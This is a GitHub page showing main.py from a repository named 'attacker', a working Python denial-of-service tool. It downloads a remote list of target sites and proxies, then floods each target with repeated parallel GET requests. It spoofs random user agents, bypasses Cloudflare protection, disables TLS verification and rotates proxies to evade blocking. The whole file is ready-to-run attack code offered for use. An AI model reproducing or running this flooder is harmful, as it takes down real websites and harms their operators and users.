forked from Luzhnuy/attacker
-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathmain.py
More file actions
136 lines (115 loc) · 4.28 KB
/
Copy pathmain.py
File metadata and controls
136 lines (115 loc) · 4.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import asyncio
import json
import random
import typing
from sys import stderr
import requests
from aiocfscrape import CloudflareScraper
from aiohttp import ClientTimeout
from loguru import logger
from pyuseragents import random as random_useragent
from urllib3 import disable_warnings
HOSTS = 'https://raw.githubusercontent.com/abionics/attacker/master/hosts.json' # hosts of fucking sites
TIMEOUT = ClientTimeout(
total=10,
connect=10,
sock_read=10,
sock_connect=10,
)
CUSTOM_PROXY = None # can be like 'http://login:username@1.2.3.4:5678' OR 'http://1.2.3.4:5678'
CUSTOM_PROXIES_FILE = None # name of file with list of proxies, each one in separate line
REQUESTS_PER_SITE = 50
PARALLEL_COUNT = 30
SHOW_REQUEST_EXCEPTIONS = False
FORCE_HTTPS = True
HEADERS_TEMPLATE = {
'Content-Type': 'application/json',
# 'User-Agent': random_useragent(),
'Connection': 'keep-alive',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'ru',
'Accept-Encoding': 'gzip, deflate, br'
}
def main():
hosts = _get_hosts()
loop = asyncio.get_event_loop()
union = asyncio.gather(*[
start_one(hosts)
for _ in range(PARALLEL_COUNT)
])
loop.run_until_complete(union)
def _get_hosts() -> typing.Union[list, dict]:
while True:
try:
return requests.get(HOSTS, timeout=3).json()
except:
continue
async def start_one(hosts: list):
while True:
try:
async with CloudflareScraper(timeout=TIMEOUT, trust_env=True) as session:
host = random.choice(hosts)
async with session.get(host, verify_ssl=False) as response:
content = await response.text()
data = json.loads(content)
url = data['site']['url']
url = _fix_url(url, force_https=FORCE_HTTPS)
success = await attempt(session, url)
if not success:
if CUSTOM_PROXY:
proxies = [CUSTOM_PROXY]
elif CUSTOM_PROXIES_FILE:
proxies = _load_proxies(CUSTOM_PROXIES_FILE)
else:
proxies = [
f'http://{proxy_data["auth"]}@{proxy_data["ip"]}'
for proxy_data in data['proxy']
]
random.shuffle(proxies)
for proxy in proxies:
proxy = _fix_url(proxy)
success = await attempt(session, url, proxy)
if success:
break
except Exception as e:
logger.warning(f'Exception, retrying, exception={e}')
def _load_proxies(filename: str) -> list:
with open(filename, 'r') as file:
return file.read().splitlines()
def _fix_url(url: str, force_https: bool = False) -> str:
if not url.startswith('http'):
'http://' + url
if force_https:
url = url.replace('http://', 'https://')
return url
async def attempt(session: CloudflareScraper, url: str, proxy: str = None) -> bool:
logger.info(f'\t\tTrying to attack {url} with proxy {proxy}')
status_code = await request(session, url, proxy)
if 200 <= status_code < 300:
logger.info(f'START ATTACKING {url} USING PROXY {proxy}')
for i in range(REQUESTS_PER_SITE):
await request(session, url, proxy)
logger.info(f'ATTACKING {url} IS DONE')
return True
return False
async def request(session: CloudflareScraper, url: str, proxy: str = None) -> int:
try:
headers = _get_headers()
async with session.get(url, headers=headers, proxy=proxy, verify_ssl=False) as response:
return response.status
except Exception as e:
if SHOW_REQUEST_EXCEPTIONS:
logger.warning(f'Exception on request, exception={e}, url={url}, proxy={proxy}')
return -1
def _get_headers() -> dict:
headers = HEADERS_TEMPLATE.copy()
headers['User-Agent'] = random_useragent()
return headers
if __name__ == '__main__':
logger.remove()
logger.add(
stderr,
format='<white>{time:HH:mm:ss}</white> | <level>{level: <8}</level> | <cyan>{line}</cyan> - <white>{message}</white>'
)
disable_warnings()
main()